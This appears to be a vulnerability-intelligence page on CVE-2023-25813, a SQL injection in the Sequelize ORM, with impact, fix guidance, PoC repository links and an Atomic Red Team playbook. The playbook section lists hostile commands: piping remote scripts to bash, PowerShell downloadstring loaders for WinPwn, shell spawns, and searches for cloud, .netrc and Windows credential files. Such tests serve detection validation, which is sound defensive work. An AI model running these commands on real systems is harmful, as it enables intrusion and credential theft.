CVE-2023-25813
Overview
This vulnerability is a SQL injection flaw rooted in improper escaping of parameters passed via the 'replacements' feature in Sequelize, a Node.js ORM. The core issue lies in the inadequate sanitization of user-supplied inputs when combined with the 'where' option in query construction, allowing malicious SQL fragments to be injected. The affected component is the query parameter handling logic within Sequelize versions prior to 6.19.1.
Vulnerability Description
Sequelize is a Node.js ORM tool. In versions prior to 6.19.1 a SQL injection exploit exists related to replacements. Parameters which are passed through replacements are not properly escaped which can lead to arbitrary SQL injection depending on the specific queries in use. The issue has been fixed in Sequelize 6.19.1. Users are advised to upgrade. Users unable to upgrade should not use the `replacements` and the `where` option in the same query.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary SQL commands on the underlying database, potentially leading to full compromise of data confidentiality, integrity, and availability. No user interaction or privileges are required (CVSS vector AV:N/AC:L/PR:N/UI:N), and the vulnerability affects all deployments using vulnerable Sequelize versions. This can result in data exfiltration, unauthorized data modification, or denial of service through crafted queries.
Solution
Users should upgrade Sequelize to version 6.19.1 or later, as specified in the official GitHub security advisory GHSA-wrh9-cjv3-2hpw. For environments where upgrading is not feasible, the vendor recommends avoiding the simultaneous use of the 'replacements' and 'where' options in query methods. Detailed patch and mitigation instructions are available in the referenced GitHub advisory and commit logs.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Sequelize ORM tool, particularly in versions prior to 6.19.1, is characterized by a critical SQL injection flaw that arises from improper handling of parameters passed through replacements. This issue occurs when user input is not adequately sanitized, allowing attackers to manipulate SQL queries by injecting malicious code. The flaw primarily lies in the way the ORM constructs SQL statements, where the replacement parameters can be directly incorporated into the query without sufficient escaping. As a result, this vulnerability can lead to unauthorized access to the database, data leakage, or even complete control over the database, depending on the privileges of the database user.
Attack vectors for exploiting this vulnerability are diverse and can be executed through various means. An attacker could craft a malicious payload that is sent as part of a request to a web application utilizing Sequelize. For instance, if a web application allows users to input search parameters that are directly incorporated into a SQL query using replacements, an attacker could input SQL code instead of expected values. This could lead to scenarios where sensitive data is exposed, such as user credentials or confidential business information. Additionally, attackers could escalate their privileges or perform destructive actions, such as deleting records or altering data integrity, depending on the database permissions granted to the application.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on Sequelize for database interactions. The potential for data breaches poses a serious business risk, as unauthorized access to sensitive information can lead to regulatory penalties, loss of customer trust, and reputational damage. Furthermore, the financial implications of a successful attack can be substantial, encompassing costs related to incident response, legal fees, and potential compensation to affected parties. Organizations that fail to address this vulnerability may find themselves at a competitive disadvantage, especially if they are unable to assure customers of their data security practices.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First and foremost, upgrading to the latest version of Sequelize is imperative, as it includes patches that address the SQL injection flaw. For those unable to upgrade immediately, it is crucial to avoid using the replacements feature in conjunction with the 'where' option in queries, as this combination is particularly susceptible to exploitation. Additionally, implementing input validation and sanitization measures can help prevent malicious data from being processed by the ORM. Regular security audits and code reviews should also be conducted to identify and rectify any instances where user input may be improperly handled.
In conclusion, the SQL injection vulnerability in Sequelize presents a serious threat to applications that rely on this ORM for database interactions. The potential for exploitation through crafted input can lead to severe consequences for organizations, including data breaches and significant financial losses. By prioritizing upgrades, employing robust input validation techniques, and conducting regular security assessments, businesses can mitigate the risks associated with this vulnerability and enhance their overall security posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sequelizejs | Sequelize | All |
cpe:2.3:a:sequelizejs:sequelize:*:*:*:*:*:node.js:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (6)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
White-BAO/CVE-2023-25813
12
|
White-BAO | 1 | 0 | 2024-07-30 | View |
|
h-gunp/CVE-2023-25813-TEST
Sequelize Sql Injection 취약점 구현
|
h-gunp | 0 | 0 | 2025-08-23 | View |
|
numbbvi/CVE-2023-25813
CVE-2023-25813 Vulnerability Reproduction - SQL Injection in Sequelize
|
numbbvi | 0 | 0 | 2024-11-07 | View |
|
sea-middle/cve-2023-25813
|
sea-middle | 0 | 0 | 2024-11-09 | View |
|
bde574786/Sequelize-1day-CVE-2023-25813
|
bde574786 | 0 | 0 | 2024-04-21 | View |
|
pbj2647/CVE-2023-25813
|
pbj2647 | 0 | 0 | 2024-11-06 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-25813 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/sequelize/sequelize/security/advisories/GHSA-wrh9-cjv3-2hpw |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/sequelize/sequelize/issues/14519 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/sequelize/sequelize/commit/ccaa3996047fe00048d5993ab2dd43ebadd4f78b |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/sequelize/sequelize/releases/tag/v6.19.1 |